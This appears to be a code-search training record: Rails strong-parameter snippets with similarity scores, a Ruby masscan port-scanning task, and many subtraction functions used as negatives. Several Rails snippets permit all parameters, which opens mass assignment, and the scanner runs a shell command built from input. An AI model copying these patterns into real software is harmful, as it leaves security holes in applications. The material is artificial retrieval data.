"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Default method, subclasses must override this
|
def run
super
# Get range, or host
### SECURITY!
to_scan = _get_entity_name
raise "INVALID INPUT: #{to_scan}" unless match_regex :ip_address, to_scan
### SECURITY!
opt_port = _get_option("port").to_i
raise "INVALID INPUT: #{opt_port}" unless match_regex :integer, opt_port
begin
# Create a tempfile to store result
temp_file = Tempfile.new("masscan")
# shell out to masscan and run the scan
masscan_string = "masscan -p #{opt_port} -oL #{temp_file.path} #{to_scan}"
_log "Running... #{masscan_string}"
_unsafe_system(masscan_string)
f = File.open(temp_file.path).each_line do |line|
# Skip comments
next if line =~ /^#.*/
# Get the discovered host (one per line) & create an ip address
line = line.delete("\n").strip.split(" ")[3] unless line.nil?
_create_entity("IpAddress", { "name" => line })
# Resolve, and iterate on each line
hostnames = resolve_names(line)
hostnames.each do |host|
next if host =~ /\.arpa$/
# Should we try to resolve first, and fall back on IP?
#_create_entity("DnsRecord", { "name" => host }) < this should be handled by enrichment...
if [80,443,8080,8081,8443].include?(opt_port)
ssl = true if [443,8443].include?(opt_port)
protocol = ssl ? "https://" : "http://" # construct uri
_create_entity("Uri", {"name" => "#{protocol}#{host}:#{opt_port}", "uri" => "#{protocol}#{host}:#{opt_port}" })
elsif opt_port == 21
uri = "ftp://#{host.ip}:#{opt_port}"
_create_entity("FtpServer", {
"name" => "#{host}:#{opt_port}",
"ip_address" => "#{host}",
"port" => opt_port,
"proto" => "tcp",
"uri" => uri })
end
end
### End Resolution
# Always create the network service
_create_entity("NetworkService", {
"name" => "#{line}:#{opt_port}/tcp",
"ip_address" => "#{line}",
"port" => opt_port,
"proto" => "tcp"
})
end
ensure
temp_file.close
temp_file.unlink
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def overrides; end",
"def custom; end",
"def custom; end",
"def default; end",
"def default; end",
"def private; end",
"def special\n override\n end",
"def defaults\n super\n end",
"def implementation; end",
"def implementation; end",
"def default\n end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def method_missing(*args)\n default\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def tag; raise 'Override this method'; end",
"def extended(*) end",
"def set_default\n end",
"def default_proc() end",
"def initialize(*)\n super\n apply_defaults\n end",
"def standard\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def overrides=(_arg0); end",
"def defaults!; end",
"def defaults!; end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def internal; end",
"def set_defaults\n super\n end",
"def set_defaults\n super\n end",
"def main\n super\n return self\n end",
"def call\n # implement in subclasses\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize()\n # override parent\n end",
"def original; end",
"def wrapper; end",
"def initialize\n super \n end",
"def ignores; end",
"def type; super; end",
"def overload; end",
"def invoke\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n raise 'must be implemented in subclasses'\r\n end",
"def initialize\n super(true)\n end",
"def choose\n raise NotImplementedError.new('Must override')\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def normal\n end",
"def normal\n end",
"def default_content; end",
"def virtual; end",
"def extra; end",
"def specialty; end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end"
] |
[
"0.7415348",
"0.73554313",
"0.73554313",
"0.6991004",
"0.6991004",
"0.69613177",
"0.69572926",
"0.6824949",
"0.6801543",
"0.6801543",
"0.67361915",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.66934764",
"0.65642005",
"0.65501094",
"0.65501094",
"0.65501094",
"0.65501094",
"0.6528684",
"0.6490566",
"0.64695704",
"0.64676064",
"0.64597005",
"0.6455708",
"0.64551467",
"0.64551467",
"0.64329106",
"0.64307904",
"0.64307904",
"0.6429658",
"0.6429658",
"0.6429658",
"0.63993496",
"0.6390495",
"0.6390495",
"0.6376105",
"0.63759387",
"0.6340433",
"0.6340433",
"0.6340433",
"0.63253945",
"0.6310201",
"0.62980604",
"0.62755877",
"0.62675124",
"0.6240711",
"0.6220586",
"0.6218145",
"0.62124836",
"0.6204448",
"0.62003416",
"0.62003416",
"0.62003416",
"0.62003416",
"0.62003416",
"0.62003416",
"0.62003416",
"0.6188848",
"0.6188848",
"0.6188653",
"0.6170095",
"0.6169804",
"0.61623544",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336",
"0.61536336"
] |
0.0
|
-1
|
Subtracts any two integers that the user inputs.
|
def subtract(number_one, number_two)
number_one - number_two
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subtraction\n\tputs \"which numbers would you like to subtract\"\n\tsub_number_1 = gets.chomp\n\tsub_number_2 = gets.chomp\n\tputs sub_number_1.to_f - sub_number_2.to_f\nend",
"def subtract\n @input1 = params[:input1]\n @input2 = params[:input2]\n @input1 = @input1.to_i\n @input2 = @input2.to_i\n @subtract = @input1 - @input2\n end",
"def subtraction\n print \"What is your first number? \"\n first_num = gets().to_i\n\n print \"What is your second number? \"\n second_num = gets().to_i\n\n result = first_num - second_num\n puts \"#{first_num} - #{second_num} = #{result}\"\n end",
"def subtract(first_number, second_number)\n first_number - second_number\nend",
"def subtract(number1, number2)\n number1 - number2\n end",
"def subtract (number1, number2)\n number1 - number2\n end",
"def subtract(first_number, second_number)\n return first_number - second_number\nend",
"def subtract(first_number , second_number)\n return first_number - second_number\nend",
"def subtract (num1, num2)\n num1 - num2\nend",
"def subtraction (first_number, second_number)\nfirst_number - second_number\nend",
"def subtract(num1, num2)\n num1 - num2\nend",
"def subtract(num1, num2)\n num1 - num2\nend",
"def subtract(num1, num2)\n return num1 - num2\nend",
"def subtract(num, num2)\n return num - num2\nend",
"def Subtraction(a,b)\n f = a.to_i - b.to_i\n puts \"Subtraction of both number is #{f}\"\n end",
"def substract(a,b)\n a.to_i - b.to_i\nend",
"def subtract(number_1, number_2)\n return number_1 - number_2\nend",
"def subtract a, b\n\ta - b\nend",
"def subtract_them(a, b)\n return a - b\n end",
"def subtraction (a,b)\n f = a.to_i - b.to_i\n puts \"Subtraction is #{f}\"\n end",
"def subtract(a, b)\n\treturn a - b\nend",
"def subtract(first_arg, second_arg)\n first_arg - second_arg\nend",
"def sub_two_numbers(num1, num2)\n puts \"OK, let's solve your math problem!\"\n num1 - num2\nend",
"def subtraction(input_number1, input_number2)\n\tdifference = input_number1 - input_number2\n\tputs \"The difference between #{input_number1} and #{input_number2} is #{difference}.\"\n\tputs \"Thank you for using the calculator. Goodbye!\"\nend",
"def subtract(num_one, num_two)\n puts \"#{num_one} - #{num_two} = #{num_one + num_two}\\n\"\nend",
"def subtract(input_number)\n $number -= input_number\n return $number\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def subtract(a, b)\n a - b\nend",
"def sum_difference_product\n # your code goes here\n two_integers = gets.chomp.split(' ')\n\n puts (two_integers[0].to_i + two_integers[1].to_i)\n puts (two_integers[0].to_i - two_integers[1].to_i)\n puts (two_integers[0].to_i * two_integers[1].to_i)\nend",
"def subtract(n1, n2)\n difference = n1 - n2\n return difference\nend",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b\nend",
"def sum_difference_product\n print \"Type two integers separated by a space:\"\n integers = gets.chomp\n arr = integers.split(\" \").map {|s| s.to_i}\n a = arr[0]\n b = arr[1]\n puts \"#{a+b}\\n#{a-b}\\n#{a*b}\"\n \nend",
"def subtract(num1,num2)\n\tp num1 - num2\nend",
"def sum_difference_product\n puts \"Please enter 2 integers:\"\n input = gets.chomp\n nums = input.split(\" \").map(&:to_i)\n sum = nums.inject(:+)\n difference = nums.inject(:-)\n product = nums.inject(:*)\n puts \"#{sum}\\n#{difference}\\n#{product}\\n\"\nend",
"def calc_subtract(num1, num2)\n puts \"#{num1} - #{num2} = #{num1 - num2}\"\nend",
"def subtractionm(num_1,num_2)\n return num_1 - num_2\nend",
"def sum_difference_product\n # your code goes here\n puts \"Enter two numbers seperated by space\"\n arr = gets.split.map(&:to_i)\n puts arr[0] + arr[1]\n puts arr[0] - arr[1]\n puts arr[0] * arr[1]\nend",
"def subtract(input_a, input_b, name: nil)\n input_a, input_b = check_data_types(input_a, input_b)\n sub(input_a, input_b, name: name)\n end",
"def subtract(a, b)\n difference = a - b\n return difference\nend",
"def Resta\n print \"Ingrese El numero 1: \"\n numero1 = gets.chomp.to_f\n print \"Ingrese El numeor 2: \"\n numero2 = gets.chomp.to_f\n puts \"\\nResta: #{numero1 - numero2}\"\n end",
"def sum_difference_product #defines the method\na, b = gets.split #uses the split mehtod to split the input into var a and b\n a = a.to_i #converts a to an int\n b = b.to_i #converts b to an int\n puts a + b #puts the sum of a and b\n puts a - b #puts the difference between a and b\n puts a * b #puts the product of a and b\nend",
"def sum_difference_product\n puts \"First number: \"\n first_number = gets.chomp.to_i\n puts \"Second number: \"\n second_number = gets.chomp.to_i\n \n puts \"The sum of these two numbers is #{first_number + second_number}.\"\n puts \"The difference between these two numbers is #{(first_number - second_number).abs}.\"\n puts \"The product of these two numbers is #{first_number * second_number}.\"\nend",
"def subtract(x,y)\r\n x - y \r\nend",
"def subtract(n1, n2)\n result = n1 - n2\n result = 0 if result < 0\nend",
"def sum_difference_product\n input_nums = gets\n a, b = input_nums[/^-?\\d+/].to_i, input_nums[/(?<=\\s)\\d+/].to_i\n \tputs (a+b)\n puts (a-b)\n \tputs (a*b)\nend",
"def subtract (a,b)\n return a-b\nend",
"def subtract(num1, num2)\n num2.to_f - num1.to_f;\nend",
"def sum_difference_product\n # your code goes here\n a , b = gets.split.map {|x| x.to_i}\n puts a + b\n puts a - b\n puts a * b\nend",
"def subtract(t1,t2) ##revisar name\n\t\treturn (t1-t2).to_i\n\tend",
"def subtraction(n1, n2)\r\n # return n1 - n2 # not required to return a value\r\n n1 - n2 # will return this value\r\nend",
"def sum_difference_product\n a , b = gets.split.map { |num| num.to_i }\n puts a + b\n puts a - b\n puts a * b\n end",
"def subtraction(value1, value2)\n result = value1 - value2\n puts \"The sum of #{ value1 } - #{ value2 } = #{ result }\"\nend",
"def test_subtracts_numbers\n\t\tassert_equal 6, subtract(10, 4)\n\tend",
"def subtract(numbers)\n numbers.inject { |sum, n| sum - n }\n end",
"def sub_operation()\n print_message \"Write number and press ENTER to substract more or press 'r' to show result\"\n result = 0\n sub = gets.chomp\n if sub != 'r'\n result = sub.to_i\n end\n begin\n begin\n sub = gets.chomp\n if sub != 'r'\n result -= sub.to_i\n end\n rescue StandardError => e\n print_error_message \"Invalid number. Ending Substraction operation.\\n#{e.message}\"\n sub = 'r'\n end\n end while sub.downcase != 'r'\n print_message \"Result of substracting: #{result.to_s}\"\n end",
"def do_subtract (opts)\n\tsum = @original\n\tparams = opts[:parameters]\n\tif !params || params.size(:seq) == 0 then -@original\n\telse do_sequential(opts) { |a, b| a - b }\n\tend\n end",
"def sum_difference_product\n int = gets.chomp\n int_arr = int.split\n int1 = int_arr[0].to_i\n int2 = int_arr[1].to_i\n int_sum = int1 + int2\n int_dif = int1 - int2\n int_prod = int1 * int2\n print \"#{int_sum}\\n#{int_dif}\\n#{int_prod}\\n\"\nend",
"def sum_difference_product\n a , b, c = gets.split.map { |num| num.to_i }\n puts a + b + c\n puts a - b - c\n puts a * b * c\nend",
"def subt(a,b)\n a-b\nend",
"def subtraction(first, second=23)\n puts first - second\nend",
"def sum_difference_product(input)\n puts \"give me an integer\"\n input= gets.chomp\narray_of_input = input.split(\"\").map {|numb| numb.to_i }\nsum = array_of_input[0]+ array_of_input[2]\nputs \"#{sum}\"\nputs \"#{array_of_input[0] - array_of_input[2]}\"\nputs array_of_input[0] * array_of_input[2]\n\nend",
"def sum_difference_product\n input = gets.split\n numbers = input.map {|num| num.to_i}\n sum = numbers.inject(:+)\n difference = numbers.inject(:-)\n product = numbers.inject(:*)\n\n puts sum\n puts difference\n puts product\n \nend",
"def subtract(a, b)\n puts \"SUBTRACTING #{a} - #{b}\"\n a - b # This is the output as the final expression of the function\nend",
"def sum_difference_product\nx , y = gets.split.map { |s| s.to_i }\nputs x + y ; puts x - y ; puts x * y\nend",
"def subtraction(first_number, second_number, third_number)\n\tif (first_number == \"\") || (second_number == \"\") || (third_number == \"\")\n\tnil\nelsif (first_number == []) || (second_number == []) || (third_number == [])\n\tnil\nelse\n\tresult = first_number - second_number - third_number\nend\n\tresult\nend",
"def sum_difference_product\n\tnums = gets.chomp.split\n\tnums[0] = nums[0].to_i\n\tnums[1] = nums[1].to_i\n\tputs (nums[0]+nums[1]).to_s\n\tputs (nums[0]-nums[1]).to_s\n\tputs (nums[0]*nums[1]).to_s\nend",
"def -(other)\n to_i - other.to_i\n end",
"def minus\n\n\t\t# we have to make sure we have enough elements to perform the operation by calling empty\n\t\tempty?\n\n\t\t# store num2 by pop to take from end of array\n\t\tnum_1 = @calculator.pop\n\t\tnum_2 = @calculator.pop\n\n\t\t# result of the subtraction is pushed into @calc\n\t\t@calculator << num_2 - num_1\n\n\tend",
"def subtract(*number)\n test_array = []\n number.each do |n|\n if (n.class != Fixnum) && (n.class != Float)\n test_array.push(false)\n end\n end\n if test_array.length > 0\n return false\n else\n number.inject do |minuend, subtrahend|\n (minuend - subtrahend).round(2)\n end\n end\nend",
"def sum_difference_product\n puts \"Please input a number:\"\n number_string = gets.chomp\n number = number_string.split(' ')\n sum = number[0].to_i + number[1].to_i\n difference = number[0].to_i - number[1].to_i\n product = number[0].to_i * number[1].to_i\n puts sum\n puts difference\n puts product\nend",
"def subtract!(x=0,y=0,z=0)\n if x.kind_of? Numeric\n add!(-x, -y, -z)\n elsif x.point3_like?\n subtract! x.x, x.y, x.z\n else\n raise_no_conversion x\n end\n end",
"def sum_difference_product\n # your code goes here\n\n user_response = gets\n\n puts \"#{user_response}\"\n\na = user_response.split(\" \")[0].to_i\nb = user_response.split(\" \")[1].to_i\n\nputs \"#{a+b}\" + \"\\n\" + \"#{a-b}\" + \"\\n\" + \"#{a*b}\" + \"\\n\"\n\nend",
"def test_subtracts_numbers\n result = @calculator.subtracts(10, 4)\n expected = 6\n assert_equal expected, result\n end",
"def difference(number1, number2)\n return number1 - number2\nend",
"def sum_difference_product\n\tinput = gets.chomp\n\ti = input.split.collect{|x| x.to_i}\n\tputs (i[0] + i[1])\n\tputs (i[0] - i[1])\n\tputs (i[0] * i[1])\nend",
"def subt(x, y)\n x - y\nend",
"def sum_difference_product\n # your code goes here\n\tarr = gets.split(\" \") \n\ta = arr[0].to_f\n\tb = arr[1].to_f \n\tprint((a + b),\"\\n\", a - b ,\"\\n\", (a * b),\"\\n\")\nend",
"def -(other)\n combine(:-, other) ||\n fail(TypeError, \"Can't subtract #{other} from #{self}.\")\n end",
"def minus\n\t\tif @operands.size>= 2\n\t\t\tnew_n = (@operands[-2] - @operands[-1])\n\t\t\[email protected](2)\n\t\t\[email protected] new_n\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend",
"def subtract\n C.curry.(->(x, y) { x - y })\n end",
"def eaurang(a, b)\n a - b;\nend",
"def findDifference(numOne, numTwo)\n numOne - numTwo\nend",
"def subtract!(rhs)\n subtract rhs, self\n end",
"def sum_difference_product\n input = gets.chomp \n nums = input.split(' ').map{|x| x.to_i}\n puts nums[0] + nums[1]\n puts nums[0] - nums[1]\n puts nums[0] * nums[1]\n \nend",
"def subtract\n match '-'\n term\n emit_ln 'SUB (SP)+, D0'\n emit_ln 'NEG D0'\nend",
"def minus()\n \t\terror?\n \t\tsecond = @stack.pop\n \t\tfirst = @stack.pop\n \t\t@stack << (first - second)\n end",
"def arithmetic_ops\n puts \"Enter first number:\"\n num1 = gets.to_i\n puts \"Enter the second number:\"\n num2 = gets.to_i\n\n puts \"#{num1} + #{num2} = #{num1 + num2}\" \n puts \"#{num1} - #{num2} = #{num1 - num2}\" \n puts \"#{num1} * #{num2} = #{num1 * num2}\" \n puts \"#{num1} / #{num2} = #{num1 / num2}\" \n puts \"#{num1} % #{num2} = #{num1 % num2}\" \n puts \"#{num1} ** #{num2} = #{num1 ** num2}\"\n \nend",
"def subtract(other)\n clone.subtract! other\n end",
"def execute_SUB(destination, source)\n\t\tset_auxiliary_carry_flag_from destination.value.lowest_4_bits - source.value.lowest_4_bits\n\t\tperform_arithmetic_operation_storing_result(source, destination, destination.value - source.value)\n\tend",
"def -(other)\n combine_with(other) do |_variant, a, b|\n (a || 0) - (b || 0)\n end\n end",
"def add_function \n\tputs \"Enter the numbers\"\n\tn1 = gets.to_i\n\tn2 = gets.to_i\n\tputs \"The sum is #{n1+n2}\"\nend",
"def sottrazione(a, b)\n puts \"SOTTRAENDO #{a} - #{b}\"\n a - b\nend",
"def sum_difference_product\n # get input\n input = gets.chomp\n #split into array by space\n array = input.split(\" \").map {|s| s.to_i}\n x = array[0]\n y = array[1]\n #output\n puts (x + y).to_s + \"\\n\" + (x - y).to_s + \"\\n\" + (x * y).to_s + \"\\n\" \nend",
"def addAndSubtract(num1, num2)\n\tputs \"addAndSubtract gets call: \"\n\taddition = num1 + num2\n\tsubtract = num1 - num2\n\treturn [addition, subtract]\nend",
"def minus(a,b)\n (a < b ? LIMIT32 - a + b : a - b)\nend",
"def sum_difference_product\n a = gets.chomp.split' '\n a = a.map{|i| i.to_i}\n sum = a.inject(0, :+)\n diff = a[0] - a[1]\n product = a.inject(1, :*)\n\n puts \"#{sum}\\n#{diff}\\n#{product}\"\nend",
"def my_subtraction(*numbers)\r\n\t# Placeholder for variable (initializing it - per Josh)\r\n\t# If you set it to something, might already pass the test so be careful\r\n\t# shift drops the first item in the array and moves everything down by 1\r\n\t# [\"a\", \"b\", \"c\"] > shift > [\"b\", \"c\"]\r\n\t# There are ways you can put the first element somewhere else\r\n\t# Use .first to grab first element before running .shift\r\n\tresult = numbers.shift\r\n\t# Term - \"field goal posts\" around array item\r\n\tnumbers.each do |num|\r\n\t\tresult -= num\r\n\tend\r\n\treturn result\r\nend",
"def two_inputs\n puts \"Enter the first number\"\n first = gets.chomp.to_f\n puts \"Enter the second number\"\n second = gets.chomp.to_f\n return first, second\nend"
] |
[
"0.78235",
"0.7740966",
"0.7702333",
"0.7462998",
"0.7384113",
"0.7360426",
"0.73563015",
"0.7355439",
"0.7205422",
"0.7189571",
"0.7174598",
"0.7174598",
"0.7140615",
"0.7097119",
"0.7091647",
"0.70707744",
"0.7051348",
"0.6981722",
"0.697129",
"0.69348556",
"0.6920164",
"0.69144624",
"0.6893258",
"0.6847694",
"0.6843654",
"0.6820998",
"0.68173885",
"0.68173885",
"0.68173885",
"0.68173885",
